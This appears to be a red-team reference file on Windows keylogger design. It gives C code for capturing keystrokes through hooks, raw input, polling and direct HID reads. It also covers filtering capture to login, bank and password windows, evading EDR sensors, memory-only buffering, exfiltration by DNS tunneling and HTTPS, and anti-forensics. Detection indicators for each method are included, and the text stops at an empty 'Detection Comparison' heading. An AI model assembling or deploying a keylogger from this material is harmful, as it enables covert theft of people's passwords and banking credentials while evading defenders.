Keylogger Architecture

Keylogger Architecture

When to Activate

• Understanding input capture mechanisms for red team implants
• Analyzing malware keylogging capabilities
• EDR evasion research for input monitoring
• Designing stealthy credential capture

Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)

How It Works

// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            LogKey(kb->vkCode);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

Internal Mechanism

1. SetWindowsHookEx → NtUserSetWindowsHookEx in win32k.sys
2. Kernel creates HOOK structure, inserts at head of global hook chain
3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC

IOCs

• Hook entry visible in !hook WinDbg command
• Installing thread must pump messages (detectable by message queue footprint)
• If regular hook: mapped DLL in every hooked process (VAD artifact)
• EDR can hook user32!SetWindowsHookEx to detect installation

Method 2: RegisterRawInputDevices

How It Works

// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;  // Generic Desktop
rid.usUsage = 0x06;      // Keyboard
rid.dwFlags = RIDEV_INPUTSINK;  // Receive input even when not foreground
rid.hwndTarget = hWnd;   // Message-only window

RegisterRawInputDevices(&rid, 1, sizeof(rid));

// In window procedure:
case WM_INPUT: {
    RAWINPUT raw;
    UINT size = sizeof(raw);
    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
    if (raw.header.dwType == RIM_TYPEKEYBOARD) {
        LogKey(raw.data.keyboard.VKey);
    }
}

Advantages Over Hooks

• Does NOT appear in !hook list
• No cross-process DLL mapping
• Invisible to most EDR "hook chain" sensors
• No CallNextHookEx chain dependency

IOCs

• ETW event from kernel (win32kfull.sys): EtwTraceAuditApiRegisterRawInputDevices
  • Contains PID, TID, UsagePage, Usage, Flags
  • Channel is ON by default, CANNOT be disabled without kernel patch
  • This is the strongest IOC — do not discount it
• Process must have window station and desktop
• Process must pump messages continuously

Method 3: GetAsyncKeyState Polling

// Simple but CPU-intensive — polls every key state
while (true) {
    for (int key = 0; key < 256; key++) {
        if (GetAsyncKeyState(key) & 0x0001) {  // Key was pressed since last check
            LogKey(key);
        }
    }
    Sleep(10);  // Reduce CPU usage
}

IOCs

• High CPU usage from polling loop
• Detectable by API call frequency monitoring
• No kernel-level artifacts
• Least stealthy but simplest to implement

Method 4: DirectInput / Raw HID Device

// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)

IOCs

• Requires admin/SYSTEM privileges
• Creates IRP_MJ_READ telemetry on keyboard device
• Bypasses all userland monitoring
• Detectable by kernel-mode ETW or minifilter

Method 5: ETW-Based Capture (Defensive Turned Offensive)

// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint

// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reports

Window Title Capture (Context Filtering)

GetWindowTextA / GetForegroundWindow

// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"

Stealthier: NtUserInternalGetWindowText

// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);

Stealth Techniques

Memory-Only Operation

• Never write keystrokes to disk
• Buffer in encrypted memory, exfiltrate periodically
• Use sleep masking to encrypt buffer during idle

Exfiltration Methods

• DNS tunneling (encode keystrokes in subdomain queries)
• HTTPS POST to legitimate-looking endpoint
• Append to legitimate application traffic (piggyback)
• Store in registry/ADS, retrieve separately

Anti-Forensics

• Encrypt keystroke buffer with session key
• Overwrite buffer after exfiltration
• No persistent artifacts on disk
• Blend process name with legitimate software

Detection Comparison